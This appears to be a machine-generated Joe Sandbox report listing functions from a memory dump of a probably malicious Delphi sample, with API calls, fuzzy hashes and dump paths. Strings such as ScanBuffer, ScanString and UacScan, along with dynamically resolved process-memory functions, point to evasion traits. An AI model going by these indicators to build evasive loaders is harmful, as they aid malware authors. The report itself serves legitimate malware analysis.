Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 36ac8199cd3100c6d0ea6747034283b2de4f4045689bdbb239c39140d976698a
Instruction ID: d1a42ee39d8f65d1425a82f6e77e0f3d559cd5c29acb2d933c3873911a8c19f3
Opcode Fuzzy Hash: 36ac8199cd3100c6d0ea6747034283b2de4f4045689bdbb239c39140d976698a
Instruction Fuzzy Hash: 65E06D71A002148BCB10DE5898C4A6633D8AB08754F840961EC58CF346D371DD548BE0

Uniqueness

Uniqueness Score: -1.00%

Function 02D67D9C Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02D67DB0

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction ID: 4f7f0dd44e264992265401d4dc93a286f674a0f3cb057235a93e077e3da80fa2
Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction Fuzzy Hash: 1FD05BB23091507BE220955B6C44EB75BDDCBC9771F10067DB568C3280D720CC01C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 02D67E18 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02D7E0EE,ScanString,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,ScanString,02DC5344,02D88FEC,UacScan,02DC5344,02D88FEC,UacInitialize), ref: 02D67E23

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 951039ecee422536e3dea04a53b9578876d15029f98b4fa6b434c683e6939a5b
Instruction ID: 7997b5d7ee45f11b30ee913ae643d1d7b1e9bf9944e9108bb2cbfa3104b668fd
Opcode Fuzzy Hash: 951039ecee422536e3dea04a53b9578876d15029f98b4fa6b434c683e6939a5b
Instruction Fuzzy Hash: 3AC08CA1202301077A6061FC1CCC13A8288C94413C7240B7AF028D63E2D325CC5AA8B0

Uniqueness

Uniqueness Score: -1.00%

Function 02D67E3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02D81133,ScanString,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,ScanBuffer,02DC5344,02D88FEC,ScanString), ref: 02D67E47

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3fca3ef7285960aff002ce6aaf6464954507beed463b747c503eea14233f1ce8
Instruction ID: f6e01d227f964198d6ad6cd0d6776d8b313f1cb219e0b48a064d23ad71a7b772
Opcode Fuzzy Hash: 3fca3ef7285960aff002ce6aaf6464954507beed463b747c503eea14233f1ce8
Instruction Fuzzy Hash: 82C08CA060230A0F7E6062FC2CCC3B9828AC94413CB201B66E028E63D2D316DC6A6830

Uniqueness

Uniqueness Score: -1.00%

Function 02D64C60 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(02D7D42C), ref: 02D64C32
SysReAllocStringLen.OLEAUT32(02D89E50,02D7D42C,00000016), ref: 02D64C7A

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 0aec7a72195ce8a2f02e67a76ce15a9c0b7882c7f493080007ec41662f53ab3b
Instruction ID: 327eb52f47fd56ab1e507a5060800b6cc4d82ed2a10f136feedcb925960a408f
Opcode Fuzzy Hash: 0aec7a72195ce8a2f02e67a76ce15a9c0b7882c7f493080007ec41662f53ab3b
Instruction Fuzzy Hash: 10D080741001025F9F3CD6198A0D93761AFDDE034F74ECA5D98024A340E761CC00DE35

Uniqueness

Uniqueness Score: -1.00%

Function 02D64C3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 02D64C4F

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: aa052d25dd78002e50aa44a6486536333a5d6d40c34ef5eb19ce88693e560bd5
Instruction ID: 904e91447aec64527718dfb16fa50df56871f8e38c03591d2e6d351fb34150b5
Opcode Fuzzy Hash: aa052d25dd78002e50aa44a6486536333a5d6d40c34ef5eb19ce88693e560bd5
Instruction Fuzzy Hash: 9AC012A26402204BEF359AA8ACC8BA662CDDB092A9F1940A1E518DB340E760DC10CAB4

Uniqueness

Uniqueness Score: -1.00%

Function 02D89B3C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,02D89B30,00000000,00000001), ref: 02D89B4C

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: a8219cda056f842b4098c733d0361f53bc46904d3749f4f51ebb05d3126cb7af
Instruction ID: 8de1d26668cc76e9f8c4774486aa26d8893628e30bc002ad05b2fe7305627040
Opcode Fuzzy Hash: a8219cda056f842b4098c733d0361f53bc46904d3749f4f51ebb05d3126cb7af
Instruction Fuzzy Hash: CDC048B17A1341AAF610AAA42DE6FB3168ED704B00FA00812B645AE3C1D5E2AC105A64

Uniqueness

Uniqueness Score: -1.00%

Function 02D64BFC Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02D64C03

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: a58847c83cd719dccc7eadc7ea48a36911e6046ec6b401b7504d2a9bf001b2b2
Instruction ID: 7fa9654c619dc1b8c4e340c417ac5ddaa9d4dca084bfad01a57dfb202b2682f5
Opcode Fuzzy Hash: a58847c83cd719dccc7eadc7ea48a36911e6046ec6b401b7504d2a9bf001b2b2
Instruction Fuzzy Hash: A6B012382082021BFA7412220F0D732004D4FA13CDF8800519E58C83C0FB01CC11CC3A

Uniqueness

Uniqueness Score: -1.00%

Function 02D64C14 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02D64C1B

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 98a5ded0fdb0df2e5a062e13461102ebbb408f0f94918d0aa90ba91e9420b17a
Instruction ID: df6f6aaff14e4aab3e3bebcf6821c9bba13ad9841365e76f1852ef70f2e303aa
Opcode Fuzzy Hash: 98a5ded0fdb0df2e5a062e13461102ebbb408f0f94918d0aa90ba91e9420b17a
Instruction Fuzzy Hash: 70A011A80002020B8A2A222A002823A2023AECA200B8AC8A802008A300CA2A8800A8B8

Uniqueness

Uniqueness Score: -1.00%

Function 02D615CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02D61A03,?,02D62000), ref: 02D615E2

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7583d7255f222449d09a77f71fb5057381d428de0b4abce32f24faab32279f3d
Instruction ID: 9c71fcc7b7aabd638fed9fb24b0bfc38f9f7e88ab704ee8f96525dc3f3bc6294
Opcode Fuzzy Hash: 7583d7255f222449d09a77f71fb5057381d428de0b4abce32f24faab32279f3d
Instruction Fuzzy Hash: FBF06DF0B413028FDB06CF7999893117BE2E789348F20857DDA09DB3D8EB7188058B10

Uniqueness

Uniqueness Score: -1.00%

Function 02D61682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02D62000), ref: 02D616A4

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b313a0b8611b45c7ddf84b51a5d6d817a60cc285a5866167e6a7d0760f5b52f5
Instruction ID: dda4152b45800e7bc8c5a043f02f1a1a4d5183b17a93f4bcd1b6cb3d5ab5d5eb
Opcode Fuzzy Hash: b313a0b8611b45c7ddf84b51a5d6d817a60cc285a5866167e6a7d0760f5b52f5
Instruction Fuzzy Hash: 83F090B2A416966FD7109F9AAC94792BBA4FB05314F254139E90897380D770AC108BD4

Uniqueness

Uniqueness Score: -1.00%

Function 02D616E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 02D61704

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 20eaa4748fd6da7cda3b3287955ef1c2d358948f0de6f985811a1b737aa6f113
Instruction ID: cb94b6e7ef8a3f2b99f9fe984f33050fb5e05ec89922113c6505a8734c0a8a0e
Opcode Fuzzy Hash: 20eaa4748fd6da7cda3b3287955ef1c2d358948f0de6f985811a1b737aa6f113
Instruction Fuzzy Hash: 70E08675300351AFD7105B795D497226BD8EB59654F294475F549DB381D2A0EC108B70

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02D79B94 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02D79E1B,?,?,02D79EAD,00000000,02D79F89), ref: 02D79BA8
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02D79BC0
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02D79BD2
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02D79BE4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02D79BF6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02D79C08
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02D79C1A
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02D79C2C
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02D79C3E
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02D79C50
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02D79C62
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02D79C74
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02D79C86
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02D79C98
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02D79CAA
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02D79CBC
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02D79CCE

Strings

Process32Next, xrefs: 02D79C36
kernel32.dll, xrefs: 02D79BA3
Module32FirstW, xrefs: 02D79CB4
Heap32First, xrefs: 02D79BEE
CreateToolhelp32Snapshot, xrefs: 02D79BB8
Module32Next, xrefs: 02D79CA2
Thread32Next, xrefs: 02D79C7E
Process32First, xrefs: 02D79C24
Heap32Next, xrefs: 02D79C00
Module32First, xrefs: 02D79C90
Heap32ListNext, xrefs: 02D79BDC
Toolhelp32ReadProcessMemory, xrefs: 02D79C12
Process32NextW, xrefs: 02D79C5A
Module32NextW, xrefs: 02D79CC6
Process32FirstW, xrefs: 02D79C48
Heap32ListFirst, xrefs: 02D79BCA
Thread32First, xrefs: 02D79C6C

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 9e239f32c0d2a48fdce6b992a8a1e085a7d68271de06548dd98ee97ba25609a4
Instruction ID: 291d4fb462f298736753543fec7fcb58c632d4a0ba7109a552cafc6c9e65056f
Opcode Fuzzy Hash: 9e239f32c0d2a48fdce6b992a8a1e085a7d68271de06548dd98ee97ba25609a4
Instruction Fuzzy Hash: 0A311271951266AFEB009FB4F899A6933A9E706301B900995A415EF314F77CEC14CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02D658CC Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02D66BD0,02D60000,02D8B790), ref: 02D658E9
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02D65900
lstrcpynA.KERNEL32(?,?,?), ref: 02D65930
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02D66BD0,02D60000,02D8B790), ref: 02D65994
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02D66BD0,02D60000,02D8B790), ref: 02D659CA
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02D66BD0,02D60000,02D8B790), ref: 02D659DD
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02D66BD0,02D60000,02D8B790), ref: 02D659EF
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02D66BD0,02D60000,02D8B790), ref: 02D659FB
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02D66BD0,02D60000), ref: 02D65A2F
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02D66BD0), ref: 02D65A3B
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02D65A5D

Strings

kernel32.dll, xrefs: 02D658E4
GetLongPathNameA, xrefs: 02D658F7
\, xrefs: 02D65A0D

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: e9316fc9932dd79705971b89bdaf370b403c456c16e50a61e57b472caa2ce33c
Instruction ID: 4d4cb957462bf84707d1d2f4ce534bbdcb50ab2b6dc25eed7b7f10d491b7301c
Opcode Fuzzy Hash: e9316fc9932dd79705971b89bdaf370b403c456c16e50a61e57b472caa2ce33c
Instruction Fuzzy Hash: C5414C72D00219ABDB10DAE8DC8DAEEB7ADEF08354F4845A5A149D7340E734DF848F64

Uniqueness

Uniqueness Score: -1.00%

Function 02D65B9C Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02D65BAC
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02D65BB9
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02D65BBF
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02D65BEA
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02D65C31
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02D65C41
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02D65C69
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02D65C79
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02D65C9F
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02D65CAF

Strings

Software\Borland\Delphi\Locales, xrefs: 02D65AFC
Software\Borland\Locales, xrefs: 02D65AC0, 02D65ADE

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: ff9cdef5e101b3bd86c326f77e31ad3179ad4c9dbc2056fe31fd781e488937c1
Instruction ID: 466bb241345b1b1319451c9b936806f3364f022f4cad71593baa88394c133c42
Opcode Fuzzy Hash: ff9cdef5e101b3bd86c326f77e31ad3179ad4c9dbc2056fe31fd781e488937c1
Instruction Fuzzy Hash: 2F3152B1E4011D2BEB25D6B8DC4EBFE77AE8B04380F4541A19648E6381D674DEC4CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D67F90 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02D67FB1

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: b0f2a126e6bfdbec3624709fe996a37f07710e4d7c3479fe4a57f6dc015cd93b
Instruction ID: 8f284ac1a3e2938d1da3590e6ec1019c1f7551b2014b68d60eee3e98d30c9838
Opcode Fuzzy Hash: b0f2a126e6bfdbec3624709fe996a37f07710e4d7c3479fe4a57f6dc015cd93b
Instruction Fuzzy Hash: 0511BAB5A00209AF9B04CF99C9819AFF7F9EFC8700B54C569A509E7254E6719E418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D6A780 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02D6A79E

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 58c1c4a77dddcd1d3feeefb456d2c268f454cde5e81dc923aa3144afb07d55d1
Instruction ID: 4a87b0b6eedfb34ae9a5cef94038679f588877ad491eb87f66820882a257f261
Opcode Fuzzy Hash: 58c1c4a77dddcd1d3feeefb456d2c268f454cde5e81dc923aa3144afb07d55d1
Instruction Fuzzy Hash: B0E0D87170021427D320A5585C899F6726DEB6C710F0041BFBD45D7341EEA0ED408AF4

Uniqueness

Uniqueness Score: -1.00%

Function 02D6B748 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,02D8A106,00000000,02D8A11E), ref: 02D6B756

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: b395212ddfdb46b2e2f92556f1be88631d8d7cf05c8be2bed2d6db6170d1e1cc
Instruction ID: c014f6c8e3ef3040824d978122ac2e3ee4fb5e397756b8ac1693213cd1b8c449
Opcode Fuzzy Hash: b395212ddfdb46b2e2f92556f1be88631d8d7cf05c8be2bed2d6db6170d1e1cc
Instruction Fuzzy Hash: D0F0A474954301AFD350EF28EC5463577E5FB48718F044D2EE498C7390D7389C148B92

Uniqueness

Uniqueness Score: -1.00%

Function 02D6A7CC Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02D6BE2E,00000000,02D6C047,?,?,00000000,00000000), ref: 02D6A7DF

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c1878156b55314fbd131a135bc1448ea00a65f38ae630a1894243e0b3e8d53f1
Instruction ID: 61b1844740904bcaa86074bca2e4fdea450b06e8128ba90acc7f394791399652
Opcode Fuzzy Hash: c1878156b55314fbd131a135bc1448ea00a65f38ae630a1894243e0b3e8d53f1
Instruction Fuzzy Hash: 4CD05E6630E2A03BA220915A2D88DBB5AECCBC67A1F00447EB988D6301D200CC06D6B1

Uniqueness

Uniqueness Score: -1.00%

Function 02D691C8 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02D691CC

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 6ad7acb16520d0ee23af696196ffd6f674aa908e5bbfab1d4a9cc499efc34d38
Instruction ID: 1d7cbfcfb690e65b9ff948131791981cf6bb2e25d66e401cf1a617f50dde7076
Opcode Fuzzy Hash: 6ad7acb16520d0ee23af696196ffd6f674aa908e5bbfab1d4a9cc499efc34d38
Instruction Fuzzy Hash: EBA011008088200282803B280C0223A3088A800A20FC80B80A8F8A03E0EA2E8A2880E3

Uniqueness

Uniqueness Score: -1.00%

